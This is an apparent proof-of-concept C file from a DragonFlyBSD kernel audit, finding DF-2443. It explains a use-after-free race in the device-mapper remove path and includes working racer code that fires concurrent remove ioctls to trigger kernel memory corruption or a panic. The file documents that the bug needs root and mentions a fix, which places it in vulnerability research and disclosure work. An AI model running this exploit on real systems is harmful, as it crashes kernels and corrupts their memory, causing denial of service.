DragonFlyBSD Kernel Audit
DF-2443 / dm_deadlock_uaf.c
← back to finding ↓ download raw
/*
 * DF-2443 PoC -- dm_dev_remove lifecycle: deadlock-forces-UAF.
 *
 * Sibling of DF-2447; SAME underlying root-cause lifecycle bug in
 * sys/dev/disk/dm/dm_dev.c / dm_ioctl.c, framed here from the
 * deadlock-design angle.
 *
 * THE BUG (DF-2443 framing):
 *
 * disable_dev() in dm_dev.c:65-77 does:
 *
 *   66: disable_dev(dm_dev_t *dmv)
 *   68:     KKASSERT(lockstatus(&dm_dev_mutex, curthread) == LK_EXCLUSIVE);
 *   70:     TAILQ_REMOVE(&dm_dev_list, dmv, next_devlist);
 *   71:     dm_dev_counter--;
 *   73:     lockmgr(&dmv->dev_mtx, LK_EXCLUSIVE);
 *   74:     while (dmv->ref_cnt != 0)
 *   75:         cv_wait(&dmv->dev_cv, &dmv->dev_mtx);   <-- waits for ref_cnt==0
 *   76:     lockmgr(&dmv->dev_mtx, LK_RELEASE);
 *
 * dm_dev_remove() (dm_dev.c:304) calls disable_dev(dmv). Therefore a caller
 * that HOLDS a busy reference on @dmv (ref_cnt>=1) CANNOT call dm_dev_remove:
 * disable_dev would cv_wait forever for the caller's OWN reference to drain
 * => DEADLOCK.
 *
 * This forces dm_dev_remove_ioctl() (dm_ioctl.c:330) into the unsafe pattern:
 *
 *   349:     if ((dmv = dm_dev_lookup(name, uuid, minor)) == NULL)  ref_cnt 0->1
 *   354:     is_open = dmv->is_open;
 *   356:     dm_dev_unbusy(dmv);           <-- MUST drop the busy ref here,
 *   358:     if (is_open)                      otherwise dm_dev_remove below
 *   359:         return EBUSY;                 would deadlock in disable_dev.
 *   361:     return dm_dev_remove(dmv);   <-- uses dmv AFTER the ref is dropped
 *
 * The drop-ref-then-remove window between line 356 (dm_dev_unbusy) and line 361
 * (dm_dev_remove) is the UAF: the caller dereferences dmv while holding NO
 * reference, so a concurrent remover that stacked its lookup on top can race
 * through dm_dev_remove -> disable_dev (ref already 0) -> dm_dev_destroy ->
 * kfree(dmv), freeing the very same dm_dev_t out from under the first caller.
 * The first caller then calls dm_dev_remove(dmv) on FREED memory: disable_dev's
 * TAILQ_REMOVE reads dmv->next_devlist (slab-poisoned under INVARIANTS) and
 * lockmgr(&dmv->dev_mtx,...) on a freed lock => use-after-free / double-free.
 *
 * So: disable_dev's wait-for-refcnt-zero design makes it impossible to call
 * dm_dev_remove while holding a reference (deadlock), which FORCES the unbusy-
 * then-remove pattern, which CREATES the UAF window. Fix the design (atomic
 * lookup+remove under dm_dev_mutex, no caller-held long-lived reference) and
 * both the deadlock and the UAF vanish -- that is fix.diff.
 *
 * This PoC drives the remove-vs-remove race (the observable consequence of the
 * design bug): it repeatedly creates a dm device and fires N concurrent remove
 * ioctls at it through a pipe barrier so the lookups stack (ref_cnt 0->1->2)
 * before any dm_dev_unbusy runs. Under INVARIANTS the UAF panics (corrupted-
 * list assertion "Bad link elm ... prev->next != elm", slab freed-object deref,
 * lockmgr-on-freed, or double-free).
 *
 * PRIVILEGE NOTE: /dev/mapper/control is created 0640 root:operator
 * (device-mapper.c:181) and the dm module must be kldload-ed by root. The whole
 * dm ioctl surface is therefore root/operator-only. This is a root->kernel
 * memory-corruption / local-DoS bug; there is NO unprivileged path (maxx uid
 * 1001 not in wheel/operator cannot open the control dev or kldload), so uid0
 * escalation is blocked by privilege -- a VALID hard blocker (root->kernel is
 * game-over by definition). See VERDICT.md.
 *
 * Build:  cc -O2 -o dm_deadlock_uaf dm_deadlock_uaf.c -lprop
 * Run:    ./dm_deadlock_uaf            (as root, after `kldload dm`)
 *         ./dm_deadlock_uaf 8 2000     (racers=8, iterations=2000)
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <libprop/proplib.h>
#include <dev/disk/dm/netbsd-dm.h>

#define DM_CONTROL_DEV "/dev/mapper/control"
#define DEV_NAME "df2443racer"

static int g_ctlfd = -1;
static int g_iters = 2000;

/*
 * Build a libprop dictionary for a dm ioctl command. dm_check_version()
 * requires version major==4, minor<=16.
 */
static prop_dictionary_t
new_dm_dict(const char *command)
{
	prop_dictionary_t dict;
	prop_array_t ver;

	dict = prop_dictionary_create();
	if (dict == NULL) {
		fprintf(stderr, "[!] prop_dictionary_create failed\n");
		exit(1);
	}
	ver = prop_array_create();
	prop_array_add_uint32(ver, 4); /* major */
	prop_array_add_uint32(ver, 0); /* minor <= 16 */
	prop_array_add_uint32(ver, 0);
	prop_dictionary_set(dict, DM_IOCTL_VERSION, ver);
	prop_object_release(ver);

	prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command);
	prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0);
	return dict;
}

static int
do_cmd(const char *command)
{
	prop_dictionary_t dict;
	int rv;

	dict = new_dm_dict(command);
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);
	rv = prop_dictionary_send_ioctl(dict, g_ctlfd, NETBSD_DM_IOCTL);
	prop_object_release(dict);
	return rv;
}

/*
 * Racer child: wait on the barrier (read 1 byte), then fire a single remove
 * ioctl. The barrier makes all racers issue remove at the same instant so
 * their dm_dev_lookup() calls stack (ref_cnt 0->1->2...) before any
 * dm_dev_unbusy() runs -- which is exactly the precondition for the UAF.
 */
static void
racer(int barrier_fd)
{
	char b;
	int rv;

	/* block until parent says GO for this iteration */
	if (read(barrier_fd, &b, 1) != 1)
		_exit(0);
	rv = do_cmd("remove");
	(void)rv; /* ignore: 0 = we won, ENOENT = someone else removed first */
	_exit(0);
}

int
main(int argc, char **argv)
{
	int n_racers = 8;
	int iter, r, rv;
	int status;

	if (argc >= 2)
		n_racers = atoi(argv[1]);
	if (argc >= 3)
		g_iters = atoi(argv[2]);
	if (n_racers < 2)
		n_racers = 2;

	g_ctlfd = open(DM_CONTROL_DEV, O_RDWR);
	if (g_ctlfd < 0) {
		fprintf(stderr, "[!] open %s: %s\n", DM_CONTROL_DEV, strerror(errno));
		fprintf(stderr, "    (need root; is `dm` loaded? run: kldload dm)\n");
		return 1;
	}

	printf("[*] DF-2443 dm_dev_remove deadlock-forces-UAF racer\n");
	printf("[*] racers=%d iterations=%d dev=%s\n", n_racers, g_iters, DEV_NAME);
	printf("[*] hammering remove-vs-remove race; expect INVARIANTS panic /\n");
	printf("    slab freed-object deref / double-free / lockmgr-on-freed\n");
	fflush(stdout);

	for (iter = 0; iter < g_iters; iter++) {
		/*
		 * Make sure no leftover device from a previous iteration; ignore
		 * ENOENT. Then create a fresh device for the racers to fight over.
		 */
		rv = do_cmd("remove");
		(void)rv;
		rv = do_cmd("create");
		if (rv != 0 && rv != EEXIST) {
			/* create failed for an unexpected reason -- report & skip */
			if ((iter % 500) == 0)
				fprintf(stderr, "[!] iter %d create rv=%d (%s)\n",
				    iter, rv, strerror(rv));
			continue;
		}

		/*
		 * Spawn n_racers, each blocked on a pipe barrier. Then write one GO
		 * byte per racer so they all fire remove simultaneously.
		 */
		int pipes[64][2];
		pid_t pids[64];
		if (n_racers > 64)
			n_racers = 64;

		for (r = 0; r < n_racers; r++) {
			if (pipe(pipes[r]) < 0) {
				pids[r] = -1;
				continue;
			}
			pids[r] = fork();
			if (pids[r] == 0) {
				/* child: close write end, wait for GO, then race */
				close(pipes[r][1]);
				racer(pipes[r][0]);
				/* not reached */
			}
			close(pipes[r][0]); /* parent keeps write end */
		}
		/* fire the barrier -- all racers issue remove concurrently */
		for (r = 0; r < n_racers; r++) {
			if (pids[r] > 0) {
				char go = 'G';
				write(pipes[r][1], &go, 1);
				close(pipes[r][1]);
			}
		}
		/* reap */
		for (r = 0; r < n_racers; r++) {
			if (pids[r] > 0)
				waitpid(pids[r], &status, 0);
		}

		if ((iter % 500) == 0) {
			printf("[*] iter %d/%d survived so far\n", iter, g_iters);
			fflush(stdout);
		}
	}

	do_cmd("remove"); /* cleanup */
	close(g_ctlfd);
	printf("[!] exhausted %d iterations without a panic -- race not hit this run\n",
	    g_iters);
	return 0;
}